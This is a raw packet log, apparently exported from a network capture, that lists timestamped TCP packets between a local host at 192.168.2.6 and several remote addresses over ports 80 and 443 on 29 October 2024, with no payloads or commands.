Oct 29, 2024 17:59:51.977250099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977257967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977262974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977277994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977288008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977308035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977351904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977361917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977400064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977433920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977447033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977461100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977471113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977478981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977485895 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977497101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977498055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977509975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977519035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977521896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977526903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977540016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977551937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977555037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977565050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977566004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977566004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977580070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977593899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977606058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977606058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977616072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977637053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977792025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977863073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.986800909 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.987143993 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.987159967 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.987520933 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.987525940 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.061569929 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.061657906 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.061727047 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.061753988 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.061830997 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.061887026 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.062071085 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.062256098 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.062305927 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.065526962 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.065571070 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.065632105 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.065643072 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.065671921 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.065864086 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.065882921 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.065893888 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.065903902 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.066001892 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.066024065 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.066041946 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.066046953 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.066545010 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.066565990 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.066579103 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.066584110 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.068931103 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.068969011 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.069139004 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069231987 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069262981 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.069325924 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069477081 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069492102 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.069504976 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069519043 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.069566965 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069683075 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069696903 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.069705963 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.069719076 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.092916012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.092959881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.092972994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.092978001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.092991114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093000889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093008041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093013048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093031883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093034029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093051910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093059063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093066931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093072891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093079090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093086958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093091965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093106985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093123913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093135118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093180895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093193054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093225956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093246937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093259096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093270063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093307018 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093395948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093425989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093431950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093463898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093487024 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093492985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093511105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093523026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093533993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093560934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093843937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093857050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093868971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.093897104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.093913078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094012022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094022989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094033957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094047070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094058037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094058037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094069958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094077110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094085932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094094038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094094992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094106913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094116926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094122887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094130039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094141960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094146967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094156981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094168901 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094171047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094180107 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094213009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094499111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094511032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094521046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094547033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094548941 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094558954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094564915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094568968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094578028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094604969 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094633102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094652891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094665051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094675064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094686985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094691038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094697952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094707012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094717979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094743013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094748020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094750881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094757080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094762087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094773054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094783068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094795942 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094808102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094813108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094814062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094826937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094835997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094836950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094850063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094860077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094861984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094876051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.094887972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094897985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.094928026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.095007896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.095061064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.095072985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.095103025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.095103979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.095140934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.095140934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.096052885 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.096311092 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.096375942 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.096421003 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.096427917 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.096455097 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.096460104 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.098643064 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.098670006 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.098742962 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.098923922 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.098934889 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.126682997 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.126838923 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.126893044 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.126915932 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.126921892 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.126933098 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.126936913 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.128782988 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.128793001 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.128845930 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.128973961 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.128987074 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.211427927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211487055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211618900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211633921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211638927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211646080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211651087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211678028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211682081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211695910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211707115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211708069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211719036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211735964 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211755037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211805105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211857080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211877108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211889029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211899996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211911917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211930037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211956024 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.211961031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211971998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211983919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211994886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.211998940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212007999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212019920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212023973 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212049007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212055922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212075949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212101936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212114096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212114096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212125063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212136984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212138891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212147951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212148905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212161064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212169886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212173939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212187052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212198019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212199926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.212219000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212239027 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.212979078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213027000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213144064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213155985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213166952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213177919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213191032 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213196039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213203907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213207960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213219881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213232040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213234901 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213244915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213246107 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213259935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213275909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213299990 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213314056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213321924 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213321924 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213321924 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213326931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213336945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213346958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213356972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213360071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213371992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213373899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213385105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213397026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213402987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213407040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213416100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213428020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213432074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213442087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213454962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213455915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213466883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213479042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213481903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213491917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213498116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213505030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213515997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213522911 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213526964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213541031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213550091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213551998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213561058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213567019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213592052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213615894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213699102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213712931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213722944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213737011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.213748932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.213776112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.297831059 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.298118114 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.298140049 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.298465967 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.298768997 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.298825979 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.298903942 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.343353033 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.352071047 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.559227943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559288025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.559391975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.559417009 CET	80	49958	185.215.113.206	192.168.2.6
